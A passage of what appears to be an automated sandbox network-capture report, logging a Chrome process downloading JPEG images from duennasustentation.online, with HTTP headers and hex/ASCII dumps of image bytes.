(Windows)"/> <rdf:li stEvt:act
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: 68 34 1a a0 94 e2 e2 a2 87 ee f9 05 38 67 58 5a 5e 42 14 45 88 e3 18 cb cb cb ee 7b 0a 01 fc 09 3f 3e 84 10 10 42 50 14 05 26 93 29 66 b3 39 ac 35 58 5a ee a0 d3 69 62 3c 19 a1 7b 7e 86 66 b3 8d ad cd 1d cc 66 33 0c 86 03 ac ae ae a2 dd 6a e3 f4 f4 04 a3 f1 08 ab ab eb e0 5c e0 f8 f8 08 c6 18 6c 6f 6f 23 cf 72 3c 7c f8 00 79 9e e1 ca c1 15 dc bd 7b 17 cd 66 0b 87 87 4f 71 7c 7c 84 d5 d5 55 b4 5a 4d 3c 7a f4 00 27 a7 c7 58 5f df c4 9d db 2f 63 6d 6d 1d 83 c1 10 8f 9f 3c 06 a5 0c db 5b 5b 18 8f c7 f8 e4 fe 3d e4 45 81 2b 57 0e 70 fb d6 6d 34 1a 0d 3c 7b 76 88 b3 f3 33 74 da 1d 30 c6 f1 f4 e9 13 4c 67 53 6c 6f 6f e3 e6 cd 9b e8 74 dc 63 db eb 9d 03 c4 22 0c 43 0c 06 43 8c c7 13 6c ac 6f 62 69 69 19 27 27 a7 e8 f7 7b 58 5d 5d 43 92 24 e8 76 cf 31 9f cf b1 be Data Ascii: h48gXZ^BE{?>BP&)f95XZib<{~ff3j\loo#r<\|y{fOq\|\|UZM<z'X_/cmm<[[=E+Wpm4<{v3t0LgSlootc"CClobii''{X]]C$v1
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: 75 c2 99 73 c0 5a 51 ca 52 e8 4c b5 73 c6 37 8d 31 37 2c ec dd 34 cf 8e 46 93 e1 e3 8b ee f9 eb d6 e0 71 9a a6 9f 2c 2f 2d 3f 8b a2 f8 c4 5a 3d 25 84 7c d9 0f b1 c7 e3 f1 78 be c6 78 01 ec f1 78 3c 1e cf d7 9c 7a 57 b0 1a 49 0e 95 52 57 29 65 77 95 52 af 8e c6 a3 3b 27 a7 c7 37 4a 59 ac 4b 59 b4 a4 2c 23 6d 54 48 08 02 46 28 33 16 d0 52 83 53 8e 24 4a 10 85 21 28 67 08 c2 10 8c ba 7c 04 ad 0d b4 2e 60 2a 1f 96 11 ee fe 5e 59 48 a9 20 a5 04 a5 04 8a 2b 18 a3 61 ad 13 c0 16 2e f3 41 6b 0d 42 80 30 08 11 08 e1 f6 03 8d 85 a9 fe 9e 52 97 c9 39 1a 0f d6 e6 69 da d6 5a 5f 4b e2 e4 07 49 d2 ec 37 9b 9d f7 db ad f6 2f b4 56 bf d0 5a dd 07 d0 25 84 28 42 08 e0 c5 b0 c7 e3 f1 78 fe 48 bc 00 f6 78 3c 1e 8f e7 6b 8a b5 b6 76 7c 45 14 45 57 a2 28 ba 32 9d 4e 76 cf cf Data Ascii: usZQRLs717,4Fq,/-?Z=%\|xxx<zWIRW)ewR;'7JYKY,#mTHF(3RS$J!(g\|.`*^YH +a.AkB0R9iZ_KI7/VZ%(BxHx<kv\|EEW(2Nv
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: c6 29 f2 6c 16 8f 46 fd 57 b5 b6 2f 35 92 d6 6c 75 65 fd f1 c6 d6 f6 7b d6 d8 5f 2b 23 3f 54 aa 7c c0 18 1b 72 ce 33 c6 58 e6 1d 61 8f c7 e3 f1 78 01 ec f1 78 3c 1e cf 57 0c ce 19 38 17 bb 69 9a be d6 bd 38 7b a5 77 71 f6 d2 59 f7 ec 6e af db bd 36 99 4e b6 95 52 e0 9c 23 0c 02 70 ce 61 ad 85 d2 da 89 5a 10 68 6d 60 f2 1c da 1a 68 ab 41 08 05 17 1c 16 b4 da 8d 25 20 70 02 97 72 c0 58 0d a9 35 94 32 d0 ca 38 b7 98 5a 04 dc 8d 26 d7 21 58 00 59 d4 22 49 a5 40 40 41 29 60 41 60 0d 05 21 1c 94 90 85 63 6b 34 81 35 4e f0 12 58 58 ed c6 a0 8d 22 30 0a 4e 88 73 06 21 04 38 65 6e 34 da 5a 28 65 40 e0 42 b0 0c 75 75 49 c6 18 80 12 30 c6 40 39 59 88 78 4a 09 d1 52 f1 f9 6c ba 54 16 f2 b5 d1 68 b4 16 45 f1 9d 20 0c 4e 82 38 7a b8 b4 bc fc 30 08 c2 fb 45 91 7f 44 08 Data Ascii: )lFW/5lue{_+#?T\|r3Xaxx<W8i8{wqYn6NR#paZhm`hA% prX528Z&!XY"I@@A)`A`!ck45NXX"0Ns!8en4Z(e@BuuI0@9YxJRlThE N8z0ED
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: 76 88 29 05 28 35 d0 56 c1 68 0d 02 0a c6 9c c3 4d 29 03 17 81 13 cd 70 2e b3 31 b6 ba 0c 5f 54 26 29 29 21 4b 09 46 28 74 18 81 52 06 6d 34 94 72 8e b8 7b 1c 13 68 ad 91 65 19 66 b3 19 66 f3 69 34 1c f6 af 74 7b 67 57 2e fa e7 77 c6 e3 d1 9d f5 b5 8d bd 22 cf 76 28 a5 1f 47 51 d4 0f 82 e0 82 31 36 07 6a bf de e3 f1 78 3c df 14 bc 00 f6 78 3c 1e 8f e7 0b c0 39 b9 66 87 52 fa 9a 94 f2 07 e7 67 67 6f cf e7 f3 db 59 9e ae c9 b2 5c 66 0c a4 d5 4a 5c fd 10 a9 aa 82 94 ae fa 6f ad db b9 d5 ce 29 75 02 92 b9 74 67 c6 81 4a c4 5a 4b 9c eb 6b 0d a4 54 50 ca d5 14 d5 ae a6 d6 1a 4a 57 a3 c8 c4 39 c3 46 1b 18 ed 84 32 a3 14 9c 31 80 58 68 4d a0 b5 46 51 16 b0 d6 80 31 e6 04 32 a1 10 42 22 0a 13 08 e1 76 91 5b ad 8e e5 2c 98 47 61 34 01 a1 24 cb e6 cb d3 d9 38 ca f2 Data Ascii: v)(5VhM)p.1_T&))!KF(tRm4r{heffi4t{gW.w"v(GQ16jx<x<9fRggoY\fJ\o)utgJZKkTPJW9F21XhMFQ12B"v[,Ga4$8
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: 6b 61 e0 04 30 21 12 00 40 95 ae 76 84 35 a4 92 28 4b 27 7e f3 3c 47 59 96 00 80 20 08 d1 68 34 6d 92 34 54 a3 d1 98 b6 9b 9d 41 a3 d1 ec 06 61 74 9e 24 51 af b3 b4 34 6c 24 f1 98 71 32 08 44 30 6e b7 3b 93 d5 d5 d5 31 13 7c 7c f4 ec e9 fc c3 0f de 2f 46 93 a1 51 3a b4 c6 a1 8d 31 ca 18 53 6a 6d 32 63 2e 27 84 ad b5 46 6b f3 4c 6b dd 33 c6 fc da 5a 2b 8c 35 d4 5a 4b aa 5d 68 6d ad 29 b5 56 65 59 16 4a 88 a6 d8 de de 39 14 22 7a 90 c4 c9 db 67 e7 c7 77 ac 35 2b 42 70 96 17 65 3c 9b cd 3b b3 e9 74 6d 3e 4f 93 b2 2c 61 ad 04 a1 0c 8c 72 18 e2 46 b9 eb b8 aa cb b1 67 0d 4a 09 c2 30 40 10 08 70 ce 2f 3b 8e b5 eb 47 a6 94 22 0c 63 70 ee 9c 78 ce 0b 28 e5 46 ae 95 2a 48 af 77 71 75 34 1c ad 51 c6 be d3 6e b5 ee ad ae ae fc a2 28 8a 9f 2a 2d df 37 d6 9e 08 4a 65 Data Ascii: ka0!@v5(K'~<GY h4m4TAat$Q4l$q2D0n;1\|\|/FQ:1Sjm2c.'FkLk3Z+5ZK]hm)VeYJ9"zgw5+Bpe<;tm>O,arFgJ0@p/;G"cpx(FHwqu4Qn(-7Je
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: 16 20 d6 d6 c9 d7 64 71 3f 8d d1 95 6b 7f b9 af ed ba 95 ab 2a 28 b8 e7 96 07 01 28 28 64 a9 90 a5 05 72 99 43 08 0d 11 70 c4 49 84 30 e2 d0 46 a1 2c 4a f4 2e ce d7 46 c3 c1 0f 9b cd ce 5b 2b cb ab 6f 03 7b ff 6d 32 1e fd 2d e7 fc bd b2 2c 8f 19 63 b9 10 42 ba d0 ad af fe 63 ec f1 78 3c df 16 bc 00 f6 78 3c 1e 8f e7 5f c0 c2 09 c5 30 08 22 80 bc 76 72 7a fa dd f1 78 f8 dd b3 f3 e3 97 cf cf ce ee 8c c6 93 75 63 2c c2 30 5c d4 ec b8 5d 58 03 18 0b 42 4c f5 55 2c 08 b0 48 76 a6 d4 25 3d c3 02 da ba cb b8 04 63 17 72 65 8c 82 d6 d5 e5 e0 7a 7f b5 36 c8 b2 02 93 c9 04 f3 79 8a 20 08 b1 b7 b7 df bf 75 f3 d6 af 6e de ba f1 0f 57 ae ec bf db 6e 77 1e 9d 9f 5d 3c 04 c8 a4 ae 55 7a 7e 6f b7 16 89 5f 17 2e 47 a4 b5 d1 46 e7 84 d0 f7 db ad b6 5c 5a 5a 3a 5d 5d 5d fd Data Ascii: dq?k*(((drCpI0F,J.F[+o{m2-,cBcx<x<_0"vrzxuc,0\]XBLU,Hv%=crez6y unWnw]<Uz~o_.GF\ZZ:]]]
2025-01-08 14:44:42 UTC	1369	IN	Data Raw: e4 aa ea c8 c2 c0 10 0b 42 2c 38 07 08 38 38 d7 10 5c 41 69 85 34 9f 27 cf 8e 9e de 1d 0c fa ed 24 6e de ea 74 3a df 5b 5a 5e fa 90 73 fe 2e 21 e4 43 00 bd 2f f5 01 f4 78 3c 9e 6f 21 5e 00 7b 3c 1e 8f e7 5b 0f a5 0c 41 10 70 63 cc 5a af d7 bb d2 eb f5 df 38 3b 3b fd f1 c9 f1 d1 3b bd 5e f7 56 96 a5 8c 50 a0 d1 6c 20 89 63 18 63 21 65 01 a5 15 6c 61 c0 28 07 2c 79 41 cc 32 46 40 6c 3d 3a 6b aa eb c8 aa f7 d6 b9 bd 2e 28 4b c2 18 73 99 08 5d d5 f3 48 59 62 3a 9d 23 cf 24 c2 20 36 bb bb fb e7 d7 af df 78 ff f6 ed db 7f 7d f7 a5 bb ff 79 6b 6b eb 97 84 30 75 d1 bd 40 9e e7 5f 9b 44 e7 cf 03 77 10 61 aa c7 01 c3 8d 8d 8d 61 bb dd 7a 5a 94 f9 64 36 9b ce 40 c8 5f 8c 86 83 6b 69 36 6b ce e7 99 73 77 39 87 7b b8 0c 08 61 ee cf 04 60 94 56 7d cd a8 82 c7 18 b8 15 Data Ascii: B,888\Ai4'$nt:[Z^s.!C/x<o!^{<[ApcZ8;;;^VPl cc!ela(,yA2F@l=:k.(Ks]HYb:#$ 6x}ykk0u@_DwaazZd6@_ki6ksw9{a`V}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49791	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:41 UTC	814	OUT	GET /images/5.jpg HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:42 UTC	1050	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:42 GMT Content-Type: image/jpeg Content-Length: 44747 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2942-aecb" expires: Wed, 08 Jan 2025 14:44:41 GMT last-modified: Tue, 07 Jan 2025 13:16:50 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9i9xl%2F00%2BEhe5mOSzYUNlN5FyY4mKmvLtvjdwqnW6ThgKrFf6mZq9A%2BZRDG6yromemDBNI76GEoDapuw4Vbsxt6kcdwLWx5vzeOeO0x%2BqA1mimAvXpJEjTjIy8EngXvYHeV8S3rKSBfQThoa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7922a3c420b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1790&min_rtt=1787&rtt_var=676&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1392&delivery_rate=1610590&cwnd=136&unsent_bytes=0&cid=9c36be768cf02399&ts=970&x=0"
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: ff d8 ff e1 17 26 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 02 80 00 00 01 01 00 03 00 00 00 01 02 92 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 33 3a 30 34 3a 31 39 20 31 39 3a 31 38 3a 32 35 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: &ExifMM*(12i ''Adobe Photoshop 21.0 (Windows)2023:04:19 19:18:250
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: fa 2b ba b8 2c b0 4f c0 f8 27 f2 e4 d1 8c be 68 b5 f9 8c 42 32 12 8f cb 2d 90 fe 61 49 5b f4 db 29 29 d8 29 ff d0 ef 9b 58 53 f4 c7 82 b0 03 7c 14 84 25 c6 16 70 16 93 a9 9e ca 1f 64 07 58 5a 10 94 21 c6 13 c0 d1 14 39 a3 40 ab 75 1b dd 8d 88 f7 3b 42 7d a2 7b fe ff 00 fd 05 ac 5c d6 b4 bd e6 1a d1 24 9e c0 2e 13 eb a7 5d 9a 9f 53 5c 01 70 81 5f 70 d9 f6 7f 6e d7 ff 00 e8 c4 d9 e5 a1 a6 e7 65 d8 f1 71 48 5e c3 52 f3 1d 4f 31 fd 4b 29 ce 71 fd 19 21 ce f0 da 27 d1 ab fe fe 8b 63 aa ae 93 6c b4 de ed 37 90 0b 58 d0 3f 36 7e 9d bf f5 0b 36 d7 1a e9 68 7b 89 2e 32 ed 23 5f fc e5 35 b7 3b 29 f4 e3 06 ec ad a3 53 ce bf f9 82 8e 1a 0a 6c 48 5b 62 a0 6f 3b 43 8d 8f 3c 98 97 13 e4 7e 8b 57 47 d2 3e aa d8 ca fd 5b 9a 03 9d c3 5d ae 9e 6a d7 d5 9f ab f5 d2 46 4b da Data Ascii: +,O'hB2-aI[)))XS\|%pdXZ!9@u;B}{\$.]S\p_pneqH^RO1K)q!'cl7X?6~6h{.2#_5;)SlH[bo;C<~WG>[]jFK
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 8d 6e 66 55 73 93 5f a7 73 4f b9 a3 51 f1 6a 1e 7d c6 9c a2 3f 74 49 5a 7d 1b 10 63 d7 ed 9d 90 60 1e cb 1b ad 3c 1c 87 11 c9 90 53 4f cb 7e 2c 91 f9 88 f0 72 af fa ca e1 61 af 1f 1e cc 87 8e 4b 44 34 1f eb 29 d7 99 d7 32 44 fa 4c a5 84 7d 17 b8 13 ff 00 47 72 0d 38 76 e5 39 9e e8 ab 97 35 84 07 cf 83 1a ff 00 62 c9 bb ea ef 58 17 31 ce 7b db b6 66 ca de f2 e7 69 ed f6 3f d8 d7 6e 46 3a 8b d0 2c 99 22 55 44 f9 35 3e b3 57 92 ea 77 64 54 03 98 e9 0f 69 04 41 ec e8 58 65 fe cd 4f b6 1a 4f cf da 57 48 71 3a 95 f8 56 63 e7 b4 9b 76 91 bc 10 66 3d d5 fa 9f ba f5 cb dd 22 b2 1b ce c3 f7 b4 f0 86 ea 23 ae bb 75 6b e4 03 f6 77 0e ed 23 f0 d1 17 0e d7 b4 31 cd e4 09 fb be 92 8b dc d7 34 1e 5b 60 31 f1 03 50 85 8d 63 9a d1 1f 4d 87 49 4f dc 53 1e c6 dd b1 6b 5a 0e Data Ascii: nfUs_sOQj}?tIZ}c`<SO~,raKD4)2DL}Gr8v95bX1{fi?nF:,"UD5>WwdTiAXeOOWHq:Vcvf="#ukw#14[`1PcMIOSkZ
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: c1 ed 7b 0f cb 72 e3 3e b5 62 fd 93 aa e4 d2 d1 0c 70 16 34 79 38 28 a6 0d dd 33 e1 90 ae 17 21 ee df 80 43 86 82 c0 47 c1 c3 dd ff 00 4d 6a 7d 52 fa c8 3a 5e 40 e9 f9 8f 8c 1c 97 7e 8e c3 fe 0a c3 a7 bb fe 0a df cf 59 e4 1d b5 35 df 42 d0 49 f9 c3 59 ff 00 49 50 cd a7 6b 37 11 c4 13 ff 00 7e 44 0b d3 ba e2 6b 51 d1 f6 8a d8 1c 25 bc 8e ea 6e 7c 54 24 19 6f e7 0d 08 5c ef d4 ee a4 eb 7a 3e 23 9e 4b 98 18 1b 3d c6 df 67 f9 ab ab 68 a9 c0 b8 c1 07 58 ec 94 7b 75 09 26 a8 bc fe 75 af 71 2d 71 16 0f 07 b4 2c bb d9 65 ad 2c 68 65 60 ff 00 27 b2 ea f2 19 4b 87 d0 67 c4 85 95 7d 2c 07 da 00 1d f4 42 57 dd b1 0e 62 55 5a 0f a3 99 85 8e ca 0c fd 37 77 3f c0 29 dc f3 6b bd 22 7f 46 d2 1d 69 f1 3f 99 5a 36 4d 95 63 30 86 9f 79 06 3c 96 06 6f 52 73 9a 6a c4 27 49 dd Data Ascii: {r>bp4y8(3!CGMj}R:^@~Y5BIYIPk7~DkQ%n\|T$o\z>#K=ghX{u&uq-q,e,he`'Kg},BWbUZ7w?)k"Fi?Z6Mc0y<oRsj'I
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 73 c7 75 9b 9b dc e2 f5 ba f8 3d ae 1f 43 5d b6 1a de 41 e2 74 28 96 58 ed be dd 65 05 bf cd bf e7 f4 91 31 f9 ab 8f a4 39 e3 94 c8 6e db 97 0d f8 a1 cf 6b 2a 6b 6b 77 f3 8c fd 25 ce ef ff 00 16 3e f5 8d 5d 9e a6 53 81 13 ec 20 ff 00 69 68 f5 2f a5 91 f4 be 98 fa 5f 4b fb 4b 2f 07 f9 eb 7e 23 e3 c2 b3 3b f6 8f 0f f2 0c 38 78 7e f4 38 f7 ff 00 ba a4 3d 13 d4 e9 3d 6b 63 f4 a8 98 3d c1 6b cf b1 7a 35 4c 69 6b ad ac 45 4f e0 7e e9 fd df ea fe e2 e1 f2 7f a5 63 7d 1e 5b fd 7f a6 df fc 0d 76 58 1f d0 8f d3 fa 1f 9b c7 3d ff 00 ef aa c4 6e 87 17 cd 5a b9 99 f8 38 e5 ed df 0d 9e 1f ee ff 00 2f 95 9b 03 4b b6 c2 ba ca da de 15 3a bf 9e 1f c5 5f 6f 25 3c 31 16 bd ed 0d 1b 88 92 74 6b 47 24 9f cd 0b 03 a8 93 d3 fa 9b b2 9e 37 d9 76 38 0d 6f 6d cd 73 84 7f 51 9b 97 Data Ascii: su=C]At(Xe19nk*kkw%>]S ih/_KK/~#;8x~8==kc=kz5LikEO~c}[vX=nZ8/K:_o%<1tkG$7v8omsQ
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 52 65 63 74 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 0d 63 72 6f 70 52 65 63 74 52 69 67 68 74 6c 6f 6e 67 00 00 00 00 00 00 00 0b 63 72 6f 70 52 65 63 74 54 6f 70 6c 6f 6e 67 00 00 00 00 00 38 42 49 4d 03 ed 00 00 00 00 00 10 00 48 00 00 00 01 00 01 00 48 00 00 00 01 00 01 38 42 49 4d 04 26 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 3f 80 00 00 38 42 49 4d 04 0d 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 04 19 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 03 f3 00 00 00 00 00 09 00 00 00 00 00 00 00 00 01 00 38 42 49 4d 27 10 00 00 00 00 00 0a 00 01 00 00 00 00 00 00 00 02 38 42 49 4d 03 f5 00 00 00 00 00 48 00 2f 66 66 00 01 00 6c 66 66 00 06 00 00 00 00 00 01 00 2f 66 66 00 01 00 a1 99 9a 00 06 00 00 00 00 00 01 00 32 00 00 00 01 00 5a 00 00 00 06 Data Ascii: RectLeftlongcropRectRightlongcropRectToplong8BIMHH8BIM&?8BIM8BIM8BIM8BIM'8BIMH/fflff/ff2Z
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 00 00 15 a0 00 18 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 02 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 9a 00 96 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 0a ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 0a 0b 01 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 01 00 02 03 04 05 Data Ascii: Adobe_CMAdobed"?
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: 03 85 6d b0 16 9f d5 f2 c4 79 07 f8 ff 00 9c 8b 59 f4 fd 0c 9e 2d ac fa 6f 3e 43 c5 56 68 0e 37 62 f0 d7 7b ab 3e 0e 1a 82 15 90 e9 af dd a7 aa 1a e7 0f e5 0f 6b 93 81 d2 8b 19 1a d8 65 96 d7 e2 e6 8c bc 7d 1c ef d2 30 76 70 ff 00 0d 57 f6 3e 9f f5 17 a3 7d 4b eb 0d bf 0d d5 13 a3 bf 49 5c 9e ff 00 e1 19 fd 95 e7 94 9f b4 d5 e8 97 6d 70 3b ab 71 ec f6 73 fe 73 56 97 d5 cc c3 83 9e d6 c9 6b 5f a0 6f 83 8f 64 db e1 90 97 6d 0f f7 53 28 f1 44 c7 be a3 fb cf a9 1c cf d2 01 e2 92 c5 fb 7c 8f 53 b8 13 e5 c7 d2 ff 00 35 25 63 8e 3d fa 34 f8 65 f8 bf ff d1 ef 5b 9a ce ee 0a 43 36 af de 0b 9a 6d ec 23 cc 22 37 2d a1 67 4a 79 19 c4 62 f4 a3 32 b2 34 29 be d7 5f 8a c5 ab 35 91 a9 47 19 2c 22 66 07 72 9b c7 91 77 0c 56 fa c5 d6 e8 e9 fd 35 ef 71 dc fb 08 6d 75 8e 5d Data Ascii: myY-o>CVh7b{>ke}0vpW>}KI\mp;qssVk_odmS(D\|S5%c=4e[C6m#"7-gJyb24)_5G,"frwV5qmu]
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: b9 cc 69 ad c4 08 6d 67 77 c4 00 4f fd 5a c3 7b 03 1d 51 76 bb eb 63 c7 c7 ff 00 3b 4c 86 96 cd 2d 40 7a 0f a8 d8 81 dd 45 96 fa 7a 34 86 b5 fd 83 8e a5 a3 fb 1f 49 7a 8b 2a da c2 ef 11 a2 f3 3f a8 37 bc f5 3c 8a de ef 6b 1e c7 36 bf 0f 6b 9b b9 7a 15 99 c5 b5 98 3a 29 22 40 26 d6 c8 13 40 30 b9 ad 61 95 3c 76 56 ed 48 1a 78 f0 b2 33 7a be d3 a9 91 e4 8d d2 b2 5f 73 9d 6e 49 2c 60 1f a3 07 89 46 c5 e8 bf db 3c 36 5d 6b 00 ae a7 bb cb 8f 25 ca 67 fb f2 b7 9f a2 4c ff 00 b1 74 f9 96 31 d5 08 70 01 c3 89 8d 57 33 d4 c3 03 4b 49 1b bb 10 9b 91 38 46 f7 bb 2c 3c 7a 9c 5c 1a 04 13 c1 e1 58 38 0d 22 09 78 1d 9a 1c 63 f1 59 f8 39 62 a7 3a b7 99 00 88 7f f0 5b 15 e5 35 ed f1 4d 15 5a af 90 20 d8 72 3a 96 37 a7 8e 59 53 76 8e 7c 64 af 35 cb a0 53 9d 93 8e 44 41 2f Data Ascii: imgwOZ{Qvc;L-@zEz4Iz*?7<k6kz:)"@&@0a<vVHx3z_snI,`F<6]k%gLt1pW3KI8F,<z\X8"xcY9b:[5MZ r:7YSv\|d5SDA/
2025-01-08 14:44:43 UTC	1369	IN	Data Raw: e7 bb cf e9 04 95 62 5c 5c df 76 a2 75 f3 27 6a 49 27 47 ff d6 ed 5b 84 d4 56 e2 30 22 6f 09 7a a1 34 d2 28 ae da 18 3b 29 6c 68 ec 84 ec 80 3b a1 3f 2c 0e e9 71 05 70 94 b9 55 b5 f5 3e b1 cb d8 76 fc 47 b9 ab 83 fa e9 53 6d ea d8 b6 4c 0c ba 0b 41 fe 50 1e df fa 4b b0 b7 32 00 73 7e 93 4c 85 c8 fd 71 6c b3 1b 28 36 69 a6 d2 e1 de 1a ef 73 9b ff 00 6e 26 4c 82 19 70 c4 f1 3c f1 63 5c e8 1a 36 b6 02 07 7d 3d df f5 4a 3d 5f 1a 28 b2 38 2d dd f2 23 77 f1 45 70 9b 6c 70 d1 a4 40 1e 67 54 6c b6 6f a6 b6 bb 83 4b 87 dc a3 05 9c 87 63 fc 5f bf 77 4b 35 1e 58 f3 a7 93 a1 cb ab b3 d7 ae b3 e9 3b 41 f9 a7 85 c8 7d 49 c7 c8 c2 71 af 20 6d 7d c0 58 19 dc 0f a2 bb 87 35 a5 93 c4 a0 77 24 26 ea 81 70 ec ea 17 56 61 cd 3f 2d 55 4b ba 99 32 04 b8 91 1a 85 af 91 8e 1c 09 Data Ascii: b\\vu'jI'G[V0"oz4(;)lh;?,qpU>vGSmLAPK2s~Lql(6isn&Lp<c\6}=J=_(8-#wEplp@gTloKc_wK5X;A}Iq m}X5w$&pVa?-UK2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49792	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:41 UTC	419	OUT	GET /images/1.jpg HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:42 UTC	1049	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:42 GMT Content-Type: image/jpeg Content-Length: 43861 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d294e-ab55" expires: Wed, 08 Jan 2025 14:44:41 GMT last-modified: Tue, 07 Jan 2025 13:17:02 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MnHsdDlIcTsZO4cM0G%2BClAia8lsquSp4v09%2B4n3DPDpnCbZt9ZBdUXFjfYBen%2FCj5EmWfriYZDAJHcJCuEcsz%2Bcv7aO3Qouu0kH189zuGBpl8QjjHdzWgenxPxjna9H2nFmiaHV3LTGyGgsc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7922daf7286-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1813&min_rtt=1804&rtt_var=694&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=997&delivery_rate=1555673&cwnd=241&unsent_bytes=0&cid=ac55a71d9d4c0f67&ts=955&x=0"
